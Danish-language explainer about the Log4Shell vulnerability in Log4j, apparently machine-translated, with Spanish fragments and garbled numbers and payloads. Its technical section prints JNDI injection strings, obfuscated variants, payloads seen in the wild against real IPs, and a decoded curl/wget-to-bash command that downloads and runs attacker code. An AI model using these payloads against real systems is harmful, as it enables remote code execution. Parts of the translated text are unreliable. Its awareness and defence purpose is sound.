Hvad er Log4j-biblioteket? Hvad er din sårbarhed?

Java findes overalt i IT-relaterede enheder såsom mobiler, desktops, servere, enheder IoT, routere, printere, kopimaskiner, blandt andre. De fleste af de populære softwareapplikationer og spil, sammen med brugerdefinerede forretningsapplikationer, er udviklet ved hjælp af Java. Et groft skøn er, at 3 milliarder enheder kører Java. Java-biblioteker tager Javas robusthed til et andet niveau.

En af dem biblioteker er Log4J, som er udviklet af open source Apache Software Foundation. Dette Log4J-bibliotek er en væsentlig del af Java-logningsrammerne og er ansvarlig for at logge fejlmeddelelser fra en applikation.

Brug af Log4J-biblioteket

Logning hjælper udviklere med at se alle de aktiviteter, en applikation udfører, og næsten alle softwareapplikationer (selv cloud-baserede) opretter logfiler over deres fejl. Udviklere opretter generelt ikke deres applikations logningssystem (for ikke at genopfinde hjulet), men foretrækker at bruge et etableret logbibliotek (en fælles standard inden for kodning og udvikling) og en af ​​de register más Populær af Java er Log4J.

Derfor, næsten alle applikationer (inklusive applikationer fra regeringer, agenturer, virksomheder, Microsoft, Apple, Googleosv.), dvs skrevet i Java kan have dette bibliotek, og en sårbarhed i et sådant bibliotek kunne være det værste mareridt og drømmen om cybersikkerhed. sandt for hackere.

Også dette bibliotek er open source, så nej der er officielle tal om, hvor mange enheder/apps der bruger dette bibliotek.

Log4J bruges af mange applikationer populær (som Twitter, Apple iCloud), juegos (f.eks Minecraft, Damp), stederblandt andet. Sammen med disse er dette bibliotek også en del af mange andre rammer såsom Kafka, Elasticsearch, Flink. Listen over applikationer, produkter og plugins, der er sårbare over for Log4J-udnyttelsen, vokser konstant.

Registrering af en sårbarhed i Log4J

Den første rapport af en sårbarhed i Log4J dukkede oprindeligt op i 1 ^st december 2021 af Chen Zhaojun af Alibaba Cloud Security-teamet, der, som en standard fejljagtpraksis og som ansvarlig it-person, informerede Apache Foundation om fejlen (selvom nogle fejljægere sælger sådanne sårbarheder til hackere, og sådanne sårbarheder går ubemærket hen i måneder eller år) . De påvisning er sket i Minecraft. Det chatfunktion af Minecraft er kildeidentifikationen af ​​Log4J-udnyttelsen.

Spillets chatalgoritmer er baseret på Java API ved hjælp af Log4J-biblioteket, og dette bibliotek tillod skurke at fryse Minecraft-servere, slette alle spillere osv. I et gunstigt miljø blev denne sårbarhed let manipuleret af Fjernudførelse af kode (RCE)., hvilket forbedrer trusselsniveauet for sårbarheden.

Tilstedeværelsen af ​​en sårbarhed i Log4J-biblioteket blev offentligt accepteret i 9 ^º december 2021 af Apache. Sårbarheden var som hedder som Log4Shell og det var officielt mærket som CVE-2.021 til 44.228. Den (CVE C FÆLLES V sårbarheder og E xposures) nummereringssystem er en nomenklatur til entydigt at identificere hver sårbarhed/udnyttelse, der er opdaget på verdensplan.

Log4J er klassificeret som en sårbarhed i dagtimerne nul (eller dag 0). Zero-day-sårbarheden betyder, at hackere allerede retter sig mod sårbarheden, selv før udviklere lærte om fejlen og havde nul-dag til at implementere en patch til udnyttelsen.

Berørte versioner af Log4J-biblioteket og frigivne patches

Det forlyder, at versionerne 2.0 den Log2.14.1J 4 er påvirket af sårbarheden. Udgaven Log2.15.0J 4 var original patch frigivet til CVE-2021-44228, men senere blev der fundet en anden sårbarhed i Log4J (hovedsageligt i ikke-standardkonfigurationer) mærket som CVE-2021-45046. Denne sårbarhed havde en indvirkning de sikkerhed de 3.7 (ret lav i forhold til den oprindelige sårbarhed). Apache Foundation blev derefter lanceret Log4j version 2.16 at lappe udnyttelsen i den originale løsning.

Mens vi arbejdede på denne artikel, udgav Apache endnu en Log4J-patch udgave 2.17 for Log4J sårbarhed tagget som CVE-2021-45105 (denial of service/DoS-angreb). Information om patches er tilgængelig på Log4Js officielle sikkerhedsside websted for Apache.

Mange læsere tænker måske, at da patchen allerede er blevet anvendt på Log4J, hvorfor dette problem? Selvom den seneste version af Log4J-biblioteket er lappet, er applikationerne, produkterne, plugins osv. der stadig bruger ældre versioner af Log4J, er ikke rettet endnu. Derudover er der tilfældet med applikationer, der er blevet abandonware og bruger en sårbar version af Log4J. Abandonware er et softwareprodukt, der ignoreres/ikke videreudvikles af dets ejere/producenter, og som ikke har nogen officiel support.

Størrelsen af ​​Log4J-udnyttelsen

I en sikkerhedsvurdering kan Log4J-udnyttelsen nemt vurderes til 10/10 (det højest mulige risikoniveau). Størrelsen af ​​denne sårbarhed er så stor, at alle større aktører (Microsoft, Google, Cisco, etc.) sammen med regeringer og Apache (Log4J-udviklerne) arbejder døgnet rundt på at rette op på sårbarheden. Disse virksomheders bekymring og reaktion kan ses på deres officielle hjemmesider eller konti på sociale medier. Sværhedsgraden af ​​sårbarheden kan indikere hvornår Direktør Jen Easterly fra CISA (OS C ybersikkerhed og I nfra s STRUKTUR A agentur) nævnte Log4J-udnyttelsen som

En af de mest alvorlige, der er set længe, ​​hvis ikke den mest alvorlige. 

Og på grund af denne sværhedsgrad, mener IT-branchens ledere, at sårbarheden af Log4J vil følge stalking la industrien over de næste par år.

Hvorfor blev Log4J-sårbarheden ikke opdaget tidligere?

Mange brugere undrer sig over, hvorfor en sårbarhed af en sådan størrelsesorden ikke blev opdaget, da Log4J-biblioteket har været tilgængeligt siden 2013. Selvom det i USA 2016 En Log4J-sårbarhed blev rapporteret af BlackHatEvents, som diskuterede JNDI som en angrebsvektor, mens den aktuelle sårbarhed er en type skabeloninjektion, der tillader brugen af ​​JNDI.

Men i softwareapplikationer er sårbarheder svære at opdage, efterhånden som nye teknologier dukker op, IT-industriens horisont ændrer sig (for eksempel er softwareapplikationer før opfindelsen af ​​internettet og efter internettet en anden historie).

Som diskuteret ovenfor er versioner af Log4J-biblioteket under 2.0 heller ikke påvirket (de har deres egne problemer), så fremskridt inden for teknologi var grunden til, at denne udnyttelse kunne opdages.

Angreb ved hjælp af Log4J-sårbarheden

Med den nye udnyttelse i byen målretter hackere deres værktøjer for at bruge udnyttelsen. Den første malware opdaget, der pegede på udnyttelsen var Kryptominere (som udtrækker cryptocurrency af den berørte maskine).

Dette blev fulgt Koboltstrejke (penetrationstest) for at stjæle brugernavn/adgangskoder til det inficerede system. Så fik skibet følgeskab af ransomware-baseret malware som Khonsari og listen fortsætter.

Og sidst men ikke mindst støttede hackergrupper af staten i flere lande retter sig mod rivaler ved at udnytte denne sårbarhed. Her er et kort fra ESET over de rapporterede angreb udført (de højeste mængder af angreb i USA, Storbritannien, Tyskland, Tyrkiet og Holland).

Indtil nu er der mere end 1800000 hændelser rapporteret (og tæller) forsøg på at bruge denne Log4J-udnyttelse af hackere. Desuden næsten mere end 40 procent af virksomhedens netværk angribes ved at bruge denne sårbarhed. Tilgængeligheden af udnytte kode en flere steder Det har gjort tingene værre. Desuden blev tingene komplicerede som udnyttelsen kan være rettet af HTTP y HTTPS.

Men det er kun udgangspunktet, da, hvis en malware orm målrettet mod sårbarheden, så kan dens indvirkning være meget større end den oprindelige sårbarhed. Fordi en computerorm er et uafhængigt stykke software, der lydløst replikerer og spreder sig over netværket (f.eks. Kode Rød orm i 2000'erne eller WannaCry i 2017).

Como værker

Log4J-biblioteket (sammen med logningsrammerne) holder styr på, hvad en applikation gør, og for at bruge udnyttelsen behøver en angriber kun at tvinge en logindtastning i Log4J ved at bruge en simpel opgave, for eksempel at angive et kontobrugernavn eller sende kodestrengen i en e-mail.

En angribers oprettelse af en applikations logindgang i logningsrammen kan variere fra den ene applikation til den anden (for eksempel i Minecraft blev chatfunktionen brugt) eller fra en computer til en anden. Når en sådan post i registreringsdatabasen er oprettet med ondsindet kode, kan angriberen uploade ondsindet kode til maskinen, tage fuld kontrol over systemet, spredes på tværs af netværket, installere malware, iværksætte en anden form for angreb eller noget andet.

Den farligste del af denne sårbarhed er, at den er » forhåndsgodkendt”, hvilket betyder, at en hacker ikke skal logge ind på et sårbart system for at tage kontrol over det.

Udnyttelsen kan være describir simpelthen i de næste trin:

• El hacker aktiverer udnytte ved at sende en ondsindet nyttelast via brugerleveret input. Denne nyttelast kan være en HTTP/HTTPS-header eller noget andet, som den sårbare applikation logger ved hjælp af Log4j.
• Ansøgning optegnelser den ondsindede nyttelast i dine data.
• La Log4J-biblioteket forsøger at fortolke ondsindet brugerinput og opretter forbindelse til en server styret af hackere (for eksempel LDAP).
• El server ondsindet (f.eks. LDAP) returnerer svaret som fortæller applikationen det belastning un fjernklasse java-fil.
• Applikationen downloader og køre fjernfil som åbner dørene for, at hackeren kan udføre sine dårlige handlinger.

Processen er forklaret i følgende tabel:

Er du sikker?

Så efter at have gennemgået ovenstående, kommer brugerne med et spørgsmål: er jeg sikker? Det afhænger. Hvis en bruger er en del af en organisation, der bruger Log4J Java-biblioteket, er de og deres organisation i fare.

Hvis en bruger eller deres organisation ikke bruger noget Java-baseret (meget usandsynligt), men virksomhedsapplikationsafhængigheder, 3 ^rd Tredjepartsleverandørværktøjer eller Java-baseret applikation er så brugeren eller deres organisation kan være i fare. Du kan søge på internettet efter de programmer, du bruger, hvis de er sårbare.

Hvad skal jeg gøre?

Nu til det sidste spørgsmål, hvad skal man gøre, hvis en Log4J-sårbarhed er til stede i dit system eller organisation.

For en bruger

En fælles slutbruger ikke kan gøre noget væsentligt med vedrørende denne sårbarhed, undtagen for at holde dine applikationer (især antivirus/anti-malware applikationer), enheder eller operativsystem opdateret.

Hvis brugeren bruger en form for abandonware , kan afinstallation af det holde dit system sikkert. Derudover, hvis du bruger en online service (som Stream), sørg for at de har påført plastrene (tjek deres officielle sider eller sociale medier håndtag) er vejen at gå for en almindelig bruger.

For en organisation

Kilometerstanden til at beskytte en organisation mod Log4J-udnyttelsen kan varierer fra en organisation til en anden. Det første skridt skal være lave en revision af hele infrastrukturen, applikationsafhængigheder, 3 ^rd partnerleverandørværktøjer eller fjernmedarbejdere for at finde ud af, om sårbarheden eksisterer. Revisionen skal søge i applikationslogfiler efter følgende mønstre eller deres afledninger:

${jndi:ldap:/}

${jndi:ldaps:/}

${jndi:rmi:/}

${jndi:dns:/}

${jndi:iiop:/}

Organisationen kan også bruge automatiserede søgeværktøjer e trusselsundersøgelse (f.eks Log4J Vulnerability Tester af TrendMicro) for at opdage enhver applikation, der har Log4J-sårbarheden. Organisationens udvikler bør have til opgave at kontrollere deres kode for enhver reference til Log4J-sårbarheden.

Desuden dispositivos forbundet til Internet af en organisation skal lappes hurtigst muligt for at undgå en katastrofe. En organisation skal handle så hurtigt som muligt, da den skal konkurrere med dårlige aktører, der er mindst 7 dage foran andre i at angribe sårbarheden.

For det andet skal du også placere en webapplikations firewall hurtigst muligt for at sikre organisationens ressourcer og data. Næsten alle større aktører (Microsoft, Oracle, Apple, Google, Amazon osv.) får deres tjenester opdateret og udgiver patches til deres produkter.

Derfor skal en organisation sikre, at den opdaterer alle de applikationer og tjenester, den bruger, med de nyeste patches. Endvidere skal erhvervsorganisationer begrænse unødvendig internettrafik at reducere din eksponering, hvilket vil reducere dit risikoniveau.

Tekniske aspekter af sårbarheden

Indtil nu har vi forsøgt at dække Log4J-sårbarheden i enkle vendinger, men i dette afsnit vil vi diskutere Log4J-sårbarheden i udvikleres tekniske termer. Denne sårbarhed udnyttes ved at søge efter JNDI (Java Navngivning og Directory Interface). Dette kan resultere i en angreb på denial of service (To).

Når JNDI støder på et udtryk som ${a_Java_expression}, slår det op for værdien af ​​det udtryk og erstatter det. Nogle af de Log4J-kompatible søgninger De er sys, JNDI, env, java, nedre og øvre. Nogle af de Protokoller understøttet af Log4J-søgningDe er LDAP, DNS, RMI og IIOP.

For at injicere en indtastning i applikationsloggen kan angriberen bruge HTTP-anmodninger til en server, og ved modtagelse af anmodningen vil Log4J Search downloade og udføre den ondsindede klasse (hostet på LDAP-serveren kontrolleret af hackeren), hvis ObjectClass-attributten på LDAP-objektet er defineret som javaNamingReference og har følgende attributter:

javaCodebase

javaFactory

javaKlassenavn

Så han LDAP-objektindlæser vil udtrække indholdet af den ondsindede URL som defineret i javaCodebase og oprette en tilsvarende objekt i hukommelse. Når initialiseringsmetoden eller mere formelt, udføres konstruktøren af ​​den nævnte klasse, en upålidelig kode a upålidelig kilde på den inficerede maskine.

La ekspression más grundlæggende at en angriber kan injicere i Log4J er

${jndi:ldap://{attacker_website}/a}

Dette vil køre hostet ondsindet kode i:

http://{angriber_website}/{ondsindet klasse}

Når den ondsindede kode er udført, fortolker serveren strengen, der fører til kommandoer af shell i forskellige formater såsom JavaScript, Java Class, Unix skal blandt andet.

En anden faktor, der øger sværhedsgraden af ​​sårbarheden, er kapacitet de indlejring den Java ${} blok, hvilket vil gøre det meget vanskeligere at opdage mistænkelige strenge. For eksempel, i stedet for at bruge ${jndi:}, kan hackere bruge ${${lower:jn}${lower:di}}, som vil tillade hackere at udtrække information/data fra en ekstern server.

Et interessant spørgsmål, der kan opstå i en læsers sind, er hvor placere koden som kan lande i Log4J-biblioteket? Mange applikationer logger alt, hvad der sker med dem, inklusive indgående anmodninger såsom HTTP-headere (såsom User-Agent eller X-Fordered-For), URI'er, anmodningsteksten osv.

Det værste er, at en angriber kan sende en sådan anmodning til hele internetlogger-applikationen og derefter kan give kommandoer til at kontrollere den inficerede maskine. Processen er tydeliggjort i følgende diagram:

Nedenfor er nogle ejemplos Den Identificerede URL'er indtil videre at starte anderledes typer af angreb ved at bruge Log4J-biblioteket:

${jndi%3aldap%3a //0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostname:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}

$ {Jndi: $ {gå ned: l} $ {download: d} $ {download: a} $ {gå ned: p}: //195.54.160 149 [.]: 12344 / basic / command / base 64 / kN1cmwglxmgmtk1lju0lje2mc4xndk6ntg3nc80ns41Ni45Mi4YMJK6ODB8 FHDNZXQGLXEGLU8Tide5NS41NC4XNJAUMTQ5OJU4NZQVndUuntyuouciji5OJGWKXXIYXNO}

${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}

${${env:ENV_NAME:-j} ndi ${env:ENV_NAME:-:} ${env:ENV_NAME:-l} dap ${env:ENV_NAME:-:} // 62.182.80.168:1389/pien3m}

${${bottom:j}${top:n}${bottom:d}${top:i}:${bottom:l}${bottom:d}${bottom:a}${bottom:p }}: //67.205.191.102:1389/koejir}}

Følgende er en del af HTTP-serverlogfiler viser et forsøg på udnyttelse af Log4J:

45.155.205 [.] 233:53590 server: 80 – [10/Dec/2021:13:25:10 +0000] "GET/HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155 .205[.]233:12344 /Basic/Command/Base64/[BASE64-code-removed]} «

La base64 streng I den forrige post er den afkodet til:

(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash

Dette vil lede efter ondsindet kode fra 45.155.xxx.xxx og derefter udføre script ved hjælp af Bash.

I sidste ende vil vi have vores læsere være opmærksom til denne trussel, og vi bør ikke tage let på det, fordi der er en grund til, at internettet brænder på grund af denne sårbarhed.